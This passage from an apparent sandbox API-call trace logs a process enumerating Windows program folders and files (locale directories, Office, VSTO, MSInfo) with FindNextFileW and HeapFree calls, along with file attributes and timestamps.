nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0283.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.596] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0283.598] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.598] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0283.598] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.598] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0283.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.599] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0283.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.599] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0283.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.599] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0283.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.599] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0283.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.600] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0283.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.600] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0283.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.600] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0283.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.601] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0283.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.601] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0283.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.601] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0283.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.601] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0283.602] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.602] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0283.602] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.602] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0283.602] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.602] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0283.602] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.602] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0283.603] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.603] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0283.603] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.603] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0283.603] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.603] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0283.603] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.604] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0283.604] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.604] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0283.604] FindClose (in: hFindFile=0x543f50 | out: hFindFile=0x543f50) returned 1 [0283.604] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.606] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0283.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.606] FindNextFileW (in: hFindFile=0x543dd0, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0283.607] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.607] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0283.609] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.609] FindNextFileW (in: hFindFile=0x543b90, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0283.609] FindClose (in: hFindFile=0x543b90 | out: hFindFile=0x543b90) returned 1 [0283.609] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.609] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0283.609] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.609] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0283.609] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.609] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0283.912] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.913] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0283.913] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.913] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0283.913] FindClose (in: hFindFile=0x543f50 | out: hFindFile=0x543f50) returned 1 [0283.913] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.913] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0283.914] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.914] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0283.914] FindClose (in: hFindFile=0x543890 | out: hFindFile=0x543890) returned 1 [0283.914] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.914] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0283.914] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.914] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0283.915] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.915] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0283.924] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.924] FindNextFileW (in: hFindFile=0x543b90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0283.925] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: 